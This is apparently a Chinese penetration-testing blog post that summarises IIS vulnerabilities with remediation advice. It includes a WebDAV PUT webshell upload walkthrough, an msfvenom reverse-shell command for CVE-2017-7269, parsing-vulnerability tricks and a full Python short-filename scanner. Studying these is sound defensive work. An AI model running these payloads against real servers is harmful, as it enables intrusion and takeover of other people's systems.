Web中间件常见漏洞总结——IIS篇

2021-02-07 10:51:41 28 16031 3

0x01 前言

渗透过程中会遇到各种中间件,某些中间件版本存在远程执行、任意文件上传等漏洞。本文对IIS相关漏洞进行整理,方便我们在渗透过程中快速查阅IIS漏洞。文章粗略浅显,适合刚入行的新手观看。

0x02 目录

IIS6.0 PUT漏洞

IIS6.0 远程代码执行漏洞 CVE-2017-7269

IIS6.0 解析漏洞

IIS7.0/7.5 解析漏洞

IIS短文件名漏洞

IIS对应windows系统版本: Windows Server 2000 —— IIS 5.0 Windows XP SP1 —— IIS 5.1 Windows XP SP2,SP3 —— IIS 5.1 Windows Server 2003,XP porfessional —— IIS 6.0 Windows Vista Ultimate —— IIS 7.0 Windows 7 —— IIS 7,IIS 7.5 Windows Server 2008 SP2,SP3 —— IIS 7.0 Windows Server 2008 R2,部分Windows 7 —— IIS 7.5 Windows Server 2008 SP2,SP3 —— IIS 7.0 Windows Server 2012,Windows 8 —— IIS 8.0 Windows Server 2012 R2 —— IIS 8.5 windows Server 2016,Windows10 —— IIS 10

0x03 IIS6.0 PUT漏洞

漏洞原理

IIS6.0 server在web服务扩展中开启了WebDAV(Web-based Distributed Authoring and Versioning)。WebDAV是一种HTTP1.1的扩展协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,如PUT,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。可以像在操作本地文件夹一样操作服务器上的文件夹,该扩展也存在缺陷,利用PUT方法可直接向服务器上传恶意文件,控制服务器。

环境搭建

windows server 2003 安装IIS6.0:

开启WebDAV服务:

网站目录允许来宾用户写入:

漏洞复现

这里我们使用IISPutScanner工具进行复现。

首先使用工具扫描目标地址:

发现存在IIS6.0 PUT漏洞,右键选择上传文件:

数据包格式选择PUT,选择asp一句话木马,点击提交数据包:

然后数据包格式选择MOVE,再次点击提交数据包,此时可得到webshell路径:

使用菜刀连接我们的webshell:

成功获得服务器权限。

修复方案

  • 关闭WebDAV服务扩展
  • 关闭IIS来宾用户写入权限

0x04 IIS6.0 远程代码执行漏洞 CVE-2017-7269

漏洞原理

在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以"If: <http://"开始的较长header头的PROPFIND请求执行任意代码,控制目标主机。

环境搭建

IIS6.0开启WebDAV服务扩展:

漏洞复现

使用IISPutScanner工具扫描目标地址:

发现目标存在WebDAV远程代码执行漏洞,使用网上公开的利用工具复现漏洞:

生成bin文件:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.157.133 LPORT=8077 EXITFUNC=thread PrependMigrate=true PrependMigrateProc=rundll32.exe >iis

反弹shell:

此漏洞成功利用后会导致IIS服务崩溃,反弹shell提升为管理员权限后务必重启IIS服务。

批量检测脚本:

https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner

修复方案

  • 关闭WebDAV服务扩展

0x05 IIS6.0 解析漏洞

漏洞原理

基于文件名

IIS6.0默认不解析;号后面的内容,例如1.asp;.jpg会当成1.asp解析,相当于分号截断。

基于文件夹

IIS6.0会将/*.asp/文件夹下的文件当成asp解析。

修复方案

由于微软并不认为这是一个漏洞,也没有推出相关的修复补丁,因此我们需要自己设置:

  • 取消网站目录脚本执行权限:

  • 禁止创建文件夹
  • 重命名上传文件为时间戳+.jpg或随机数+.jpg

0x06 IIS7.0/7.5 解析漏洞

漏洞原理

IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1,导致在任意文件后面添加/.php,服务器就会解析成php。

环境搭建

在windows server 2008 R2系统中打开服务器管理器,点击添加角色,添加web服务IIS,勾选如下选项,点击下一步并安装:

等待片刻后,IIS7.5安装完成:

下载php安装包php-5.3.9-Win32-VC9-x86.msi,安装php。

下载地址:https://windows.php.net/downloads/releases/archives/

在Web Server Setup步骤中选择IIS FastCGI

来到IIS7.5,点击ISAPI和CGI限制,添加php-cgi.exe安装路径:

返回,点击处理程序映射,添加脚本映射,配置如下:

此时环境配置完成,phpinfo测试:

漏洞复现

访问.jpg文件:

利用解析漏洞:

修复方案

  • cgi.fix_pathinfo设置为0并重启php-cgi程序

0x07 IIS短文件名漏洞

漏洞原理

为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。 使用命令dir /x可以看到短文件名的效果:

观察执行结果可以发现,短文件名如下特征:

  • 只有6位显示,后续字符用~1代替。
  • 后缀名称只显示3位。

我们可以对启用.net的IIS暴力猜解短文件名,原因是: 1.访问某个存在的短文件名,返回404:

2.访问某个不存在的短文件名,返回400:

漏洞复现

使用网上公开的利用脚本暴力猜解短文件名:

脚本代码:

#!/usr/bin/env python
# encoding:utf-8
# An IIS short_name scanner   my[at]lijiejie.com  http://www.lijiejie.com    

import sys
import httplib
import urlparse
import threading
import Queue
import time

class Scanner():
    def __init__(self, target):
        self.target = target.lower()
        if not self.target.startswith('http'):
            self.target = 'http://%s' % self.target
        self.scheme, self.netloc, self.path, params, query, fragment = \
                     urlparse.urlparse(target)
        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
        self.request_method = ''
        self.msg_queue = Queue.Queue()
        self.STOP_ME = False
        threading.Thread(target=self._print).start()

    def _conn(self):
        try:
            if self.scheme == 'https':
                conn = httplib.HTTPSConnection(self.netloc)
            else:
                conn = httplib.HTTPConnection(self.netloc)
            return conn
        except Exception, e:
            print '[_conn.Exception]', e
            return None

    def _get_status(self, path):
        try:
            conn = self._conn()
            conn.request(self.request_method, path)
            status = conn.getresponse().status
            conn.close()
            return status
        except Exception, e:
            raise Exception('[_get_status.Exception] %s' % str(e) )

    def is_vul(self):
        try:
            for _method in ['GET', 'OPTIONS']:
                self.request_method = _method
                status_1 = self._get_status(self.path + '/*~1*/a.aspx')    # an existed file/folder
                status_2 = self._get_status(self.path + '/l1j1e*~1*/a.aspx')    # not existed file/folder
                if status_1 == 404 and status_2 != 404:
                    return True
            return  False
        except Exception, e:
            raise Exception('[is_vul.Exception] %s' % str(e) )

    def run(self):
        for c in self.alphanum:
            self.queue.put( (self.path + c, '.*') )    # filename, extension
        for i in range(20):
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()
        for t in self.threads:
            t.join()
        self.STOP_ME = True

    def report(self):
        print '-'* 64
        for d in self.dirs:
            print 'Dir:  %s' % d
        for f in self.files:
            print 'File: %s' % f
        print '-'*64
        print '%d Directories, %d Files found in total' % (len(self.dirs), len(self.files))
        print 'Note that * is a wildcard, matches any character zero or more times.'

    def _print(self):
        while not self.STOP_ME or (not self.msg_queue.empty()):
            if self.msg_queue.empty():
                time.sleep(0.05)
            else:
                print self.msg_queue.get()

    def _scan_worker(self):
        while True:
            try:
                url, ext = self.queue.get(timeout=1.0)
                status = self._get_status(url + '*~1' + ext + '/1.aspx')
                if status == 404:
                    self.msg_queue.put('[+] %s~1%s\t[scan in progress]' % (url, ext))

                    if len(url) - len(self.path)< 6:    # enum first 6 chars only
                        for c in self.alphanum:
                            self.queue.put( (url + c, ext) )
                    else:
                        if ext == '.*':
                            self.queue.put( (url, '') )

                        if ext == '':
                            self.dirs.append(url + '~1')
                            self.msg_queue.put('[+] Directory ' +  url + '~1\t[Done]')

                        elif len(ext) == 5 or (not ext.endswith('*')):    # .asp*
                            self.files.append(url + '~1' + ext)
                            self.msg_queue.put('[+] File ' + url + '~1' + ext + '\t[Done]')

                        else:
                            for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
                                self.queue.put( (url, ext[:-1] + c + '*') )
                                if len(ext) < 4:    # < len('.as*')
                                    self.queue.put( (url, ext[:-1] + c) )

            except Queue.Empty,e:
                break
            except Exception, e:
                print '[Exception]', e


if __name__ == '__main__':
    if len(sys.argv) == 1:
        print 'Usage: python IIS_shortname_Scan.py http://www.target.com/'
        sys.exit()

    target = sys.argv[1]
    s = Scanner(target)
    if not s.is_vul():
        s.STOP_ME = True
        print 'Server is not vulnerable'
        sys.exit(0)

    print 'Server is vulnerable, please wait, scanning...'
    s.run()
    s.report()

修复方案

  • 升级.net framework到4.0以上版本
  • 关闭NTFS 8.3文件格式的支持(默认开启)

1.修改注册表键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,修改NtfsDisable8dot3NameCreation为1,并重启系统。

2.windows server 2003命令行执行fsutil behavior set disable8dot3 1(1表示关闭,0表示开启) windows server 2008命令行执行fsutil 8dot3name set 1 不同系统关闭命令稍有区别

自评TCV:0

关于作者

cHr1s57篇文章198篇回复

评论28次

要评论?请先  登录  或  注册